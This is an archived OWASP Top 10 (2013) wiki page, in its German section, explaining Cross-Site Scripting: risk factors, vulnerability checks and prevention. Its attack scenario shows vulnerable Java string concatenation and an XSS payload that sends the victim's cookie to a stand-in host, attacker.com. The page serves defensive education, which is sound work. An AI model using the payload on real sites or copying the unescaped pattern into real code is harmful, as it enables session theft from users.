This site is the archived OWASP Foundation Wiki and is no longer accepting Account Requests.
To view the new OWASP Foundation website, please visit https://owasp.org
Germany/Projekte/Top 10-2013-A3-Cross-Site Scripting (XSS)
NOTE: THIS IS NOT THE LATEST VERSION. Please visit the OWASP Top 10 project page to find the latest edition.
| ← A2-Fehler in Authentifizierung und Session-Management | A4-Unsichere direkte Objektreferenzen → |
 |
 |
 |
 |
 | |
|---|---|---|---|---|---|
|
Anwendungs- spezifisch |
Ausnutzbarkeit DURCHSCHNITTLICH |
Verbreitung AUSSERGEWÖHNLICH HÄUFIG |
Auffindbarkeit EINFACH |
Auswirkung MITTEL |
Application / Business Specific |
|
Consider anyone who can send untrusted data to the system, including external users, internal users, and administrators. |
Attacker sends text-based attack scripts that exploit the interpreter in the browser. Almost any source of data can be an attack vector, including internal sources such as data from the database. |
XSS is the most prevalent web application security flaw. XSS flaws occur when an application includes user supplied data in a page sent to the browser without properly validating or escaping that content. There are three known types of XSS flaws: 1) Stored, 2) Reflected, and 3) DOM based XSS. Detection of most XSS flaws is fairly easy via testing or code analysis. |
Attackers can execute scripts in a victim’s browser to hijack user sessions, deface web sites, insert hostile content, redirect users, hijack the user’s browser using malware, etc. |
Consider the business value of the affected system and all the data it processes.
Also consider the business impact of public exposure of the vulnerability. |
|
|
Bin ich durch 'Cross-Site Scripting (XSS)' verwundbar?
You are vulnerable if you do not ensure that all user supplied input is properly escaped, or you do not verify it to be safe via input validation, before including that input in the output page. Without proper output escaping or validation, such input will be treated as active content in the browser. If Ajax is being used to dynamically update the page, are you using safe JavaScript APIs? For unsafe JavaScript APIs, encoding or validation must also be used. Automated tools can find some XSS problems automatically. However, each application builds output pages differently and uses different browser side interpreters such as JavaScript, ActiveX, Flash, and Silverlight, making automated detection difficult. Therefore, complete coverage requires a combination of manual code review and penetration testing, in addition to automated approaches. Web 2.0 technologies, such as Ajax, make XSS much more difficult to detect via automated tools. |
Wie kann ich 'Cross-Site Scripting (XSS)' verhindern?
Preventing XSS requires separation of untrusted data from active browser content.
|
|
Mögliche Angriffsszenarien
The application uses untrusted data in the construction of the following HTML snippet without validation or escaping: (String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>"; The attacker modifies the 'CC' parameter in their browser to: '><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi ?foo='+document.cookie</script>'. This causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session. Note that attackers can also use XSS to defeat any automated CSRF defense the application might employ. See A8 for info on CSRF.
|
Referenzen
OWASP
Andere |
| ← A2-Fehler in Authentifizierung und Session-Management | A4-Unsichere direkte Objektreferenzen → |
